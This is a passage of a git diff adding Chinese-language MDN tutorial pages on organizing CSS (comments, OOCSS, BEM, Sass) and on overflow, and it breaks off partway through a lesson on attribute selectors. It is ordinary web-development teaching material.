color: white; }</pre> + +<p>还有的开发者更喜欢将所有的东西放在新的一行:</p> + +<pre class="brush: css">.box { + background-color: #567895; +} + +h2 { + background-color: black; + color: white; +}</pre> + +<p>CSS不会管你使用哪种方式来进行格式化,我们自己的看法是,将每个属性值对放在新的一行会更好读。</p> + +<h3 id="为你的CSS加注释">为你的CSS加注释</h3> + +<p>在你的CSS里加入注释,不仅可以帮任何未来的开发者处理你的CSS文件,也可以在你离开项目一段时间后,帮你在回来时重新上手。</p> + +<pre class="brush: css">/* 这是一条CSS注释, +它可以分成好几行。*/</pre> + +<p>在你的样式表里面的逻辑段落之间,加入一块注释,是个好技巧。在你快速掠过的时候,这些注释可以帮你快速定位不同的段落,甚至给了你搜索或者跳转到那段CSS的关键词。如果你使用了一个不存在于代码里面的字符串,你可以从段落到段落间跳转,只需要搜索一下,下面我们用的是<code>||</code>。</p> + +<pre class="brush: css">/* || General styles */ + +... + +/* || Typography */ + +... + +/* || Header and Main Navigation */ + +... + +</pre> + +<p>你不必在你的CSS中给每个东西都加上注释,因为它们很多都是自解释的。你应该加上注释的是那些你因为某些原因做的特殊决定。</p> + +<p>为了对旧浏览器保持兼容,你用某种特殊方法使用了一种CSS属性,示例:</p> + +<pre class="brush: css">.box { + background-color: red; /* fallback for older browsers that don't support gradients */ + background-image: linear-gradient(to right, #ff0000, #aa0000); +} +</pre> + +<p>或许你是照着一个教程来做事的,CSS有些不够直观。此时,你应该在注释里面加入教程的URL。你应该在你一年或者更长时间以后重新审视你的项目,但只是模模糊糊地想起来之前有个优秀的教程,不知道它在哪里的时候,感谢之前加入注释的自己。</p> + +<h3 id="在你的样式表里面加入逻辑段落">在你的样式表里面加入逻辑段落</h3> + +<p>在样式表里面先给一般的东西加上样式是个好想法。这也就是除了你想特定对某个元素做点什么以外,所有将会广泛生效的样式。典型地,你可以为以下的元素设定规则:</p> + +<ul> + <li><code>body</code></li> + <li><code>p</code></li> + <li><code>h1</code>, <code>h2</code>, <code>h3</code>, <code>h4</code>, <code>h5</code></li> + <li><code>ul</code>和<code>ol</code></li> + <li><code>table</code>属性</li> + <li>链接</li> +</ul> + +<p>在这段样式表里面,我们提供了用于站点类型的默认样式,为数据表格、列表等设立了一份默认的样式。</p> + +<pre class="brush: css">/* || GENERAL STYLES */ + +body { ... } + +h1, h2, h3, h4 { ... } + +ul { ... } + +blockquote { ... } +</pre> + +<p>在这段之后,我们可以定义一些实用类,例如一个用来移除默认列表样式的类,我们打算将其展示为灵活样式或者其他样式。如果你知道你想要在许多不同的元素上应用的东西,那么你可以把它们加到这里。</p> + +<pre class="brush: css">/* || UTILITIES */ + +.nobullets { + list-style: none; + margin: 0; + padding: 0; +} + +... + +</pre> + +<p>然后我们可以加上在整个站点都会用到的所有东西,这可能是像基础页面布局、抬头或者导航栏样式之类的东西。</p> + +<pre class="brush: css">/* || SITEWIDE */ + +.main-nav { ... } + +.logo { ... } +</pre> + +<p>最后我们可以在CSS里面加上特指的东西,将它们分成上下文、页面甚至它们使用的组件。</p> + +<pre class="brush: css">/* || STORE PAGES */ + +.product-listing { ... } + +.product-box { ... } +</pre> + +<p>通过使用这种方式排布代码,我们至少能大致了解,我们能在样式表的哪个部分寻找想要更改的东西。</p> + +<h3 id="避免太特定的选择器">避免太特定的选择器</h3> + +<p>如果你创建了很特定的选择器,你经常会发现,你需要在你的CSS中复用一块代码,以将同样的规则应用到其他元素上。例如,你也许会有像是下面的选择器那样的代码,它在带有<code>main</code>类的<code><article></code>里面的带有<code>box</code>类的<code><p></code>上应用了规则。</p> + +<pre class="brush: css">article.main p.box { + border: 1px solid #ccc; +}</pre> + +<p>如果你之后想要在<code>main</code>外的什么地方上应用相同的规则,或者在<code><p></code>外的其他地方,你可能必须在这些规则中加入另一个选择器,或者直接新建个规则。或者,你也可以建立一个名为<code>box</code>的类,在任何地方应用。</p> + +<pre class="brush: css">.box { + border: 1px solid #ccc; +}</pre> + +<p>将东西设置的更为特定,有时也有意义,但是这一般与其说是通常实践,倒不如说是例外。</p> + +<h3 id="将大样式表分成几个小的样式表">将大样式表分成几个小的样式表</h3> + +<p>尤其在你对站点的不同部分设置了很不同的样式的时候,你会想要有个包含了所有普适规则的样式表,还有包含了某些段落所需要的特定规则的更小的样式表。你可以将一个页面连接到多个样式表,层叠的一般规则会在这里生效,即连接的靠前的样式表里面的规则会比后面的有更高优先级。</p> + +<p>例如我们会将我们站点的一部分作为一个在线商店,许多CSS只会用于样式化商店需要的产品列表和表单。将这些东西放在另外一张样式表里面,只在商店页面进行连接,这会是合理的做法。</p> + +<p>这可以让你更容易保持CSS的组织性,也意味着如果有多人在写CSS,你会更少遇到有两个人需要同时编写相同的样式表的情况,防止在源代码的控制上产生冲突。</p> + +<h2 id="其他能帮上忙的工具">其他能帮上忙的工具</h2> + +<p>CSS本身没有什么内置的组织方式,所以你需要自己完成建立编写CSS时维持统一性和规则的工作。Web社区也已经开发了多种工具和方法,帮助你管理大些的CSS项目。由于它们对你的研究会有帮助,而且在你和其他人协作的时候,你也很可能会遇到这些东西,我们加入了一个对其中一些工具和方式的简短的指导。</p> + +<h3 id="CSS方法论">CSS方法论</h3> + +<p>不必需要自己制定编写CSS的规则,你可以选择接纳一个已经已经由社群设计、经由诸多项目检验的方法,并从中获益。这些方法论都是有着结构化的编写和组织CSS途径的CSS代码指南。典型地,与你为你的项目编写和优化每个选择器为自己定义的规则组相比,它们会倾向于产生更多的多余代码。</p> + +<p>但是,在接纳了一个方法以后,你的代码会更有条理,而且因为这些体系许多都是被很广泛使用的,其他的开发者更有可能理解你在使用的方式,会以相同的方式编写他们自己的代码,而不需要从头接纳你自己的个人方法论。</p> + +<h4 id="OOCSS">OOCSS</h4> + +<p>你会遇到的大多数方式都有一部分归功于面向对象的CSS(OOCSS)的概念,这是一种因<a href="https://github.com/stubbornella/oocss/wiki">Nicole Sullivan的努力</a>而流行的方式。OOCSS的基本理念是将你的CSS分解成可复用的对象,于是你可以在你的站点上任何需要的地方使用。OOCSS的标准示例是在<a href="/en-US/docs/Web/CSS/Layout_cookbook/Media_objects">The Media Object</a>中所描述的排布。这一排布一方面让图片、视频或者其他元素保持固定尺寸,而另一方面也让其他内容可伸缩。这是我们在用于评论、列表等网站随处可见的排布。</p> + +<p>如果你没有使用一种OOCSS的方法,你或许会创建一个用在这种排布所应用的不同地方的自定义CSS,例如创建一个叫做<code>comment</code>的类,用于组件部分的一组规则,然后是叫做<code>list-item</code>的类,除了一些细小的区别外,它几乎和<code>comment</code>类完全相同。这两个组件之间的不同是列表项有一个底边,在评论里的图像有边框而列表项里面的图像没有。</p> + +<pre class="brush: css">.comment { + display: grid; + grid-template-columns: 1fr 3fr; +} + +.comment img { + border: 1px solid grey; +} + +.comment .content { + font-size: .8rem; +} + +.list-item { + display: grid; + grid-template-columns: 1fr 3fr; + border-bottom: 1px solid grey; +} + +.list-item .content { + font-size: .8rem; +}</pre> + +<p>在OOCSS中,你可以建立一个叫作<code>media</code>的排布,里面包含所有的两种排布所共有的CSS——一个大致用于媒体对象的形状之类的基础类。然后我们再额外加入一个类,处理那些微小的区别,这样特定地扩展基础样式。</p> + +<pre class="brush: css">.media { + display: grid; + grid-template-columns: 1fr 3fr; +} + +.media .content { + font-size: .8rem; +} + +.comment img { + border: 1px solid grey; +} + + .list-item { + border-bottom: 1px solid grey; +} </pre> + +<p>在你的HTML里面,评论需要同时应用<code>media</code>和<code>comment</code>类:</p> + +<pre class="brush: html"><div class="media comment"> + <img /> + <div class="content"></div> +</div> +</pre> + +<p>列表项应用了<code>media</code>和<code>list-item</code>:</p> + +<pre class="brush: html"><ul> + <li class="media list-item"> + <img /> + <div class="content"></div> + </li> +</ul></pre> + +<p>Nicole Sullivan在描述这种方式和推广上所做的工作导致,即使是那些不严格遵守OOCSS方式的人,今天也可以大致以这种方式复用CSS,它已经普遍地进入到我们的理解当中,成为了与事物交互的好办法。</p> + +<h4 id="BEM">BEM</h4> + +<p>BEM即为块级元素修饰字符(Block Element Modifier)。在BEM中,一个块,例如一个按钮、菜单或者标志,就是独立的实体。一个元素就像一个列表项或者标题一样,被绑定到它所在的块。修饰字符是标记到一个块或者元素的标识,能够改变样式或者行为。你能认出使用BEM的代码,因为代码中在CSS的类里使用了多余的一个下划线和连字符。例如看看这个来自关于<a href="http://getbem.com/naming/">BEM命名常规</a>的页面里面的HTML所应用的类:</p> + +<pre class="brush: html"><form class="form form--theme-xmas form--simple"> + <input class="form__input" type="text" /> + <input + class="form__submit form__submit--disabled" + type="submit" /> +</form></pre> + +<p>增加的类和应用到OOCSS例子里面的相似,但是它们遵守了BEM严格的命名常规。</p> + +<p>BEM在大些的Web项目中被广泛使用,许多人用这种方式写他们的CSS。你可能会在没有提及为何CSS如此布局的时候,遇到BEM语法的例子,甚至是在教程中</p> + +<p>阅读<a href="https://css-tricks.com/bem-101/">BEM 101</a> 中关于CSS Tricks的段落以了解更多和这个系统相关的信息。</p> + +<h4 id="其他常见体系">其他常见体系</h4> + +<p>应用中,有很多这样的体系。其他流行的方式包括Jonathan Snook创造的<a href="http://smacss.com/">Scalable and Modular Architecture for CSS (SMACSS)</a>、Harry Roberts的<a href="https://itcss.io/">ITCSS</a>以及原本由Yahoo!创造的<a href="https://acss.io/">Atomic CSS (ACSS)</a>。如果你遇到了使用这几种方式之一的项目,那么好处就是你可以搜索到许多文章和指导,帮你理解如何以同种方式写代码。</p> + +<p>使用这样的体系的缺点是,它们会看起来过于复杂,尤其是对于小项目。</p> + +<h3 id="CSS的构建体系">CSS的构建体系</h3> + +<p>另一种组织CSS的方法是利用一些对于前端开发者可用的工具,它们让你可以稍微更程式化地编写CSS。有很多工具,我们将它们分成<strong>预处理工具</strong>和<strong>后处理工具</strong>。预处理工具以你的原文件为基础运行,将它们转化为样式表;后处理工具使用你已完成的样式表,然后对它做点手脚——也许是优化它以使它加载得更快。</p> + +<p>使用这些工具的任何一部分都需要你的开发环境能运行进行处理工作的脚本。许多代码编辑器能为你做这项工作,或者你也可以安装一个命令行工具来辅助工作。</p> + +<p>最为流行的预处理工具是<a href="https://sass-lang.com/">Sass</a>,这里不是Sass的教程,所以我只会简要地解释一些Sass能做的事情,在组织的时候真的会帮到你,即使你没有用到Sass的任何其他的独特功能。</p> + +<h4 id="定义变量">定义变量</h4> + +<p>CSS现在有原生的<a href="/zh-CN/docs/Web/CSS/Using_CSS_custom_properties">自定义属性</a>,所以这个功能越来越没那么重要了,但是你使用Sass的可能原因之一为,能够作为设置定义用于一个项目的所有颜色和字体,之后这些变量在项目中可用。这意味着如果你意识到你用了错误的蓝色阴影,你只需要在一个地方修改。</p> + +<p>如果我们创建了在下面的第一行里面叫做<code>$base-color</code>的变量,我们之后可以在样式表的任何需要这一颜色的地方使用它。</p> + +<pre class="brush: css"><code>$base-color: #c6538c; + +.alert { + border: 1px solid $base-color; +}</code></pre> + +<p>编译完CSS后,你会在最终的样式表里面得到下面的CSS:</p> + +<pre class="brush: css"><code>.alert { + border: 1px solid #c6538c; +}</code></pre> + +<h4 id="编译组件样式表">编译组件样式表</h4> + +<p>我在上面提到了,一种组织CSS的方式是将样式表分成小的样式表。在使用Sass时,你可以在另一个层次上理解,然后得到许多小样式表——甚至到了每个组件都有一个独立样式表的地步。使用Sass中的include功能,这些都可以被编译为一个、或者少数几个真正链接到你的网站的样式表。</p> + +<p>在<a href="https://www.lauraleeflores.com/blog/how-to-organize-your-css-files">这篇博文</a>里面,你可以看下一个开发者是如何处理这个问题的。</p> + +<div class="blockIndicator note"> +<p><strong>备注:</strong>一个简单的尝试Sass的方式是使用<a href="https://codepen.io">CodePen</a>,你可以为一个Pen在设置中启用用于你的CSS的Sass,CodePen将会为你运行Sass语法分析功能,这样你就能看到应用了普通CSS的生成网页。有时你会发现CSS教程在它们的CodePen演示里面使用了Sass而不是普通CSS,所以了解一点点关于Sass的事情是有用的。</p> +</div> + +<h4 id="后处理以进行优化">后处理以进行优化</h4> + +<p>如果你对加入例如许多额外的注释和空格,增大你的样式表大小有所关心的话,那么后处理会通过在生产版本中略去任何不必要的东西的方式,优化CSS。后处理解决方案中,通过这种方式实现的一个例子是<a href="https://cssnano.co/">cssnano</a>。</p> + +<h2 id="结语">结语</h2> + +<p>这是我们学习CSS的指导的最后一部分,正如你所见,你可以通过许多方式从这里继续对CSS的探索。</p> + +<p>欲了解更多关于CSS布局的事情,查看<a href="/zh-CN/docs/Learn/CSS/CSS_layout">学习CSS布局</a>这节课.</p> + +<p>你应该也有了探索<a href="/zh-CN/docs/Web/CSS">MDN CSS</a>学习材料的剩余部分的技能。你可以查阅属性和值,探索我们的<a href="/zh-CN/docs/Web/CSS/Layout_cookbook">CSS Cookbook</a>来了解可用的排布,在诸如<a href="/zh-CN/docs/Web/CSS/CSS_Grid_Layout">Guide to CSS Grid Layout</a>的一些更加专门的指导里阅读更多。.</p> + +<p>{{PreviousMenu("Learn/CSS/Building_blocks/Debugging_CSS", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="模块目录">模块目录</h2> + +<ol> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">层叠与继承</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors">CSS选择器</a> + <ul> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">标签,类,ID选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">伪类和伪元素</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Combinators">关系选择器</a></li> + </ul> + </li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/The_box_model">盒模型</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景与边框</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">处理不同文字方向的文本</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Overflowing_content">溢出的内容</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Values_and_units">值和单位</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">在CSS中调整大小</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Images_media_form_elements">图像、媒体和表单元素</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Styling_tables">样式化表格</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Debugging_CSS">调试CSS</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Organizing">组织CSS</a></li> +</ol> diff --git a/files/zh-cn/learn/css/building_blocks/overflowing_content/index.html b/files/zh-cn/learn/css/building_blocks/overflowing_content/index.html new file mode 100644 index 0000000000..0e4985ea03 --- /dev/null +++ b/files/zh-cn/learn/css/building_blocks/overflowing_content/index.html @@ -0,0 +1,119 @@ +--- +title: 溢出的内容 +slug: Learn/CSS/Building_blocks/Overflowing_content +translation_of: Learn/CSS/Building_blocks/Overflowing_content +--- +<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks")}}</div> + +<p>本节课,我们来了解一下CSS中另外一个重要的概念——<strong>溢出</strong>。溢出是在盒子无法容纳下太多的内容的时候发生的。在这篇教程里面,你将会学习到什么是溢出,以及如何控制它。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>基础的电脑知识,<a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Installing_basic_software">安装了基本的软件</a>, <a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Dealing_with_files">处理文件</a>的基础知识, HTML基础(学习 <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>),对CSS的工作原理有所了解(学习 <a href="/en-US/docs/Learn/CSS/First_steps">CSS first steps</a>.)</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>理解溢出和控制溢出的方法。</td> + </tr> + </tbody> +</table> + +<h2 id="什么是溢出?">什么是溢出?</h2> + +<p>我们知道,CSS中万物皆盒,因此我们可以通过给{{cssxref("width")}}和{{cssxref("height")}}(或者 {{cssxref("inline-size")}} 和 {{cssxref("block-size")}})赋值的方式来约束盒子的尺寸。溢出是在你往盒子里面塞太多东西的时候发生的,所以盒子里面的东西也不会老老实实待着。CSS给了你好几种工具来控制溢出,在学习的早期理解这些概念是很有用的。在你写CSS的时候你经常会遇到溢出的情形,尤其是当你以后更加深入到CSS布局的时候。</p> + +<h2 id="CSS尽力减少“数据损失”">CSS尽力减少“数据损失”</h2> + +<p>我们从两个展示了在碰到溢出的时候,CSS默认会如何处理的例子开始吧。</p> + +<p>第一个例子是,一个盒子,在块方向上已经受到<code>height</code>的限制。然后我们已经加了过多的内容,以至于盒子里面没有空间容纳。内容正在从盒子里面溢出,并让自己把盒子下面的段落弄得一团糟。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/overflow/block-overflow.html", '100%', 600)}}</p> + +<p>第二个例子是一个单词,位于在内联方向上受到限制的盒子里面。盒子已经被做得小到无法放置那个单词的地步,于是那个单词就突破了盒子的限制。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/overflow/inline-overflow.html", '100%', 500)}}</p> + +<p>你也许会好奇,为什么CSS默认会采取如此不整洁的方式,让内容这么凌乱地溢出出来呢?为何不把多余的内容隐藏起来,或者让盒子变大呢?</p> + +<p>只要有可能,CSS就不会隐藏你的内容,隐藏引起的数据损失通常会造成困扰。在CSS的术语里面,这会导致一些内容消失,你的访客可能不会注意到这一点,如果消失的是表格上的提交按钮,没有人能填完这个表格,这是很麻烦的事情!所以CSS反而会把它以可见的形式溢出出去。这样做的结果就是,你会看到错误的CSS导致的一片混乱,或者最坏的情况也只是你的网站的访客会告诉你有些内容冒了出来,你的网站需要修缮。</p> + +<p>如果你已经用<code>width</code>或者<code>height</code>限制住了一个盒子,CSS假定,你知道你在做什么,而且你已经控制住了溢出的隐患。总之,在盒子里面需要放置文本的时候,限制住块方向的尺寸是会引起问题的,因为可能会有比你在设计网站的时候所预计的文本更多的文本,或者文本变大了——比如用户增加字体大小的时候。</p> + +<p>在下面的几节课里,我们会看一下各种不同的控制尺寸的方式,以减少溢出的影响。但是,如果你需要固定的尺寸,你也可以控制溢出表现的形式。那么让我们接着读下去吧!</p> + +<h2 id="overflow属性">overflow属性</h2> + +<p>{{cssxref("overflow")}}属性是你控制一个元素溢出的方式,它告诉浏览器你想怎样处理溢出。<code>overflow</code>的默认值为<code>visible</code>,这就是我们的内容溢出的时候,我们在默认情况下看到它们的原因。</p> + +<p>如果你想在内容溢出的时候把它裁剪掉,你可以在你的盒子上设置<code>overflow: hidden</code>。这就会像它表面上所显示的那样作用——隐藏掉溢出。这可能会很自然地让东西消失掉,所以你只应该在判断隐藏内容不会引起问题的时候这样做。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/overflow/hidden.html", '100%', 600)}}</p> + +<p>也许你还会想在有内容溢出的时候加个滚动条?如果你用了<code>overflow: scroll</code>,那么你的浏览器总会显示滚动条,即使没有足够多引起溢出的内容。你可能会需要这样的样式,它避免了滚动条在内容变化的时候出现和消失。</p> + +<p><strong>如果你移除了下面的盒子里的一些内容,你可以看一下,滚动条是否还会在没有能滚动的东西的时候保留。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/overflow/scroll.html", '100%', 600)}}</p> + +<p>在以上的例子里面,我们仅仅需要在<code>y</code>轴方向上滚动,但是我们在两个方向上都有了滚动条。你可以使用{{cssxref("overflow-y")}}属性,设置<code>overflow-y: scroll</code>来仅在<code>y</code>轴方向滚动。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/overflow/scroll-y.html", '100%', 600)}}</p> + +<p>你也可以用{{cssxref("overflow-x")}},以在x轴方向上滚动,尽管这不是处理长英文词的好办法!如果你真的需要在小盒子里面和长英文词打交道,那么你可能要了解一下{{cssxref("word-break")}}或者{{cssxref("overflow-wrap")}}属性。除此以外,一些<a href="/zh-CN/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">在CSS里面调整大小</a>这节课里面讨论过的方式可能会帮助你创建可以和有变化容量的内容相协调的盒子。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/overflow/scroll-x.html", '100%', 500)}}</p> + +<p>和<code>scroll</code>一样,在无论是否有多到需要 用滚动条的内容的时候,页面上都会显示一个滚动条。</p> + +<div class="blockIndicator note"> +<p><strong>注意:</strong> 你可以用<code>overflow</code>属性指定x轴和y轴方向的滚动,同时使用两个值进行传递。如果指定了两个关键字,第一个对<code>overflow-x</code>生效而第二个对<code>overflow-y</code>生效。否则,<code>overflow-x</code>和<code>overflow-y</code>将会被设置成同样的值。例如,<code>overflow: scroll hidden</code>会把<code>overflow-x</code>设置成<code>scroll</code>,而<code>overflow-y</code>则为<code>hidden</code>。</p> +</div> + +<p>如果你只是想让滚动条在有比盒子所能装下更多的内容的时候才显示,那么使用<code>overflow: auto</code>。此时由浏览器决定是否显示滚动条。桌面浏览器一般仅仅会在有足以引起溢出的内容的时候这么做。</p> + +<p><strong>在下面的例子里面,移除一些内容,直到能够装在盒子里面,你还会看到滚动条消失了。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/overflow/auto.html", '100%', 600)}}</p> + +<h2 id="溢出建立了块级排版上下文">溢出建立了块级排版上下文</h2> + +<p>CSS中有所谓<strong>块级排版上下文(</strong><strong>Block Formatting Context,BFC)</strong>的概念<strong>。</strong>现在你不用太过在意,但是你应该知道,在你使用诸如<code>scroll</code>或者<code>auto</code>的时候,你就建立了一个块级排版上下文。结果就是,你改变了<code>overflow</code>的值的话,对应的盒子就变成了更加小巧的状态。在容器之外的东西没法混进容器内,也没有东西可以突出盒子,进入周围的版面。激活了滚动动作,你的盒子里面所有的内容会被收纳,而且不会遮到页面上其他的物件,于是就产生了一个协调的滚动体验。</p> + +<h2 id="网页设计时不需要的溢出">网页设计时不需要的溢出</h2> + +<p>现代网页布局的方式(正如<a href="/en-US/docs/Learn/CSS/CSS_layout">CSS layout</a>模块中所介绍的那些)可以很好地处理溢出。我们不一定能预料到网页上会有多少内容,人们很好地设计它们,使得它们能与这种现状协调。但是在以往,开发者会更多地使用固定高度,尽力让毫无关联的盒子的底部对齐。这是很脆弱的,在旧时的应用里面,你偶尔会遇到一些盒子,它们的内容遮到了页面上的其他内容。如果你看到了,那么你现在应该知道,这就是溢出,理论上你应该能重新排布这些布局,使得它不必依赖于盒子尺寸的调整。</p> + +<p>在开发网站的时候,你应该一直把溢出的问题挂在心头,你应该用或多或少的内容测试设计,增加文本的字号,确保你的CSS可以正常地协调。改变溢出属性的值,来隐藏内容或者增加滚动条,会是你仅仅在少数特别情况下需要的,例如在你确实需要一个可滚动盒子的时候。</p> + +<h2 id="小结">小结</h2> + +<p>这节短短的课已经介绍了溢出的概念,你现在明白,CSS会尽力不让溢出的内容不可见,因为这会造成数据损失。你已经发现,你可以控制住潜在的溢出,同样,你也应该测试你的作品,确保你不会一下子就弄出令人困扰的溢出。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="模块目录">模块目录</h2> + +<ol> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">层叠与继承</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors">CSS选择器</a> + <ul> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">标签,类,ID选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">伪类和伪元素</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Combinators">关系选择器</a></li> + </ul> + </li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/The_box_model">盒模型</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景与边框</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">处理不同文字方向的文本</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Overflowing_content">溢出的内容</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Values_and_units">值和单位</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">在CSS中调整大小</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Images_media_form_elements">图像、媒体和表单元素</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Styling_tables">样式化表格</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Debugging_CSS">调试CSS</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Organizing">组织CSS</a><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing"> </a></li> +</ol> diff --git a/files/zh-cn/learn/css/building_blocks/selectors/attribute_selectors/index.html b/files/zh-cn/learn/css/building_blocks/selectors/attribute_selectors/index.html new file mode 100644 index 0000000000..20cd580e97 --- /dev/null +++ b/files/zh-cn/learn/css/building_blocks/selectors/attribute_selectors/index.html @@ -0,0 +1,154 @@ +--- +title: 属性选择器 +slug: Learn/CSS/Building_blocks/Selectors/Attribute_selectors +translation_of: Learn/CSS/Building_blocks/Selectors/Attribute_selectors +--- +<p>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks")}}</p> + +<p>从HTML的学习中,你已经知道,元素可以带有属性,它提供了关于如何标记的更详细信息。CSS中,你能用属性选择器来选中带有特定属性的元素。本节课中,我们将会为你展示如何使用这些很有用的选择器。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">学习前提:</th> + <td>基础电脑知识,<a href="https://developer.mozilla.org/zh-CN/Learn/Getting_started_with_the_web/Installing_basic_software">安装了基本的软件</a>,<a href="https://developer.mozilla.org/和CN/Learn/Getting_started_with_the_web/Dealing_with_files">处理文件</a>的基本知识, HTML基础(学习<a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML">HTML介绍</a>),以及对CSS工作原理的了解(学习<a href="/zh-CN/docs/Learn/CSS/First_steps">CSS初步</a>)</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>学习属性选择器是什么,如何使用。</td> + </tr> + </tbody> +</table> + +<h2 id="存否和值选择器">存否和值选择器</h2> + +<p>这些选择器允许基于一个元素自身是否存在(例如<code>href</code>)或者基于各式不同的按属性值的匹配,来选取元素。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">选择器</th> + <th scope="col">示例</th> + <th scope="col">描述</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>[<em>attr</em>]</code></td> + <td><code>a[title]</code></td> + <td>匹配带有一个名为<em>attr</em>的属性的元素——方括号里的值。</td> + </tr> + <tr> + <td><code>[<em>attr</em>=<em>value</em>]</code></td> + <td><code>a[href="https://example.com"]</code></td> + <td>匹配带有一个名为<em>attr</em>的属性的元素,其值正为<em>value</em>——引号中的字符串。</td> + </tr> + <tr> + <td><code>[<em>attr</em>~=<em>value</em>]</code></td> + <td><code>p[class~="special"]</code></td> + <td> + <p>匹配带有一个名为<em>attr</em>的属性的元素 ,其值正为<em>value</em>,或者匹配带有一个<em>attr</em>属性的元素,其值有一个或者更多,至少有一个和<em>value</em>匹配。</p> + + <p>注意,在一列中的好几个值,是用空格隔开的。</p> + </td> + </tr> + <tr> + <td><code>[<em>attr</em>|=<em>value</em>]</code></td> + <td><code>div[lang|="zh"]</code></td> + <td>匹配带有一个名为<em>attr</em>的属性的元素,其值可正为<em>value</em>,或者开始为<em>value</em>,后面紧随着一个连字符。</td> + </tr> + </tbody> +</table> + +<p>下面的示例中,你可以看到这些选择器是怎样使用的。</p> + +<ul> + <li>使用<code>li[class]</code>,我们就能匹配任何有class属性的选择器。这匹配了除了第一项以外的所有项。</li> + <li><code>li[class="a"]</code>匹配带有一个<code>a</code>类的选择器,不过不会选中一部分值为<code>a</code>而另一部分是另一个用空格隔开的值的类,它选中了第二项。</li> + <li><code>li[class~="a"]</code>会匹配一个<code>a</code>类,不过也可以匹配一列用空格分开、包含<code>a</code>类的值,它选中了第二和第三项。</li> +</ul> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/attribute.html", '100%', 800)}}</p> + +<h2 id="子字符串匹配选择器">子字符串匹配选择器</h2> + +<p>这些选择器让更高级的属性的值的子字符串的匹配变得可行。例如,如果你有<code>box-warning</code>和<code>box-error</code>类,想把开头为“box-”字符串的每个物件都匹配上的话,你可以用<code>[class^="box-"]</code>来把它们两个都选中。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">选择器</th> + <th scope="col">示例</th> + <th scope="col">描述</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>[<em>attr</em>^=<em>value</em>]</code></td> + <td><code>li[class^="box-"]</code></td> + <td>匹配带有一个名为<em>attr</em>的属性的元素,其值开头为<em>value</em>子字符串。</td> + </tr> + <tr> + <td><code>[<em>attr</em>$=<em>value</em>]</code></td> + 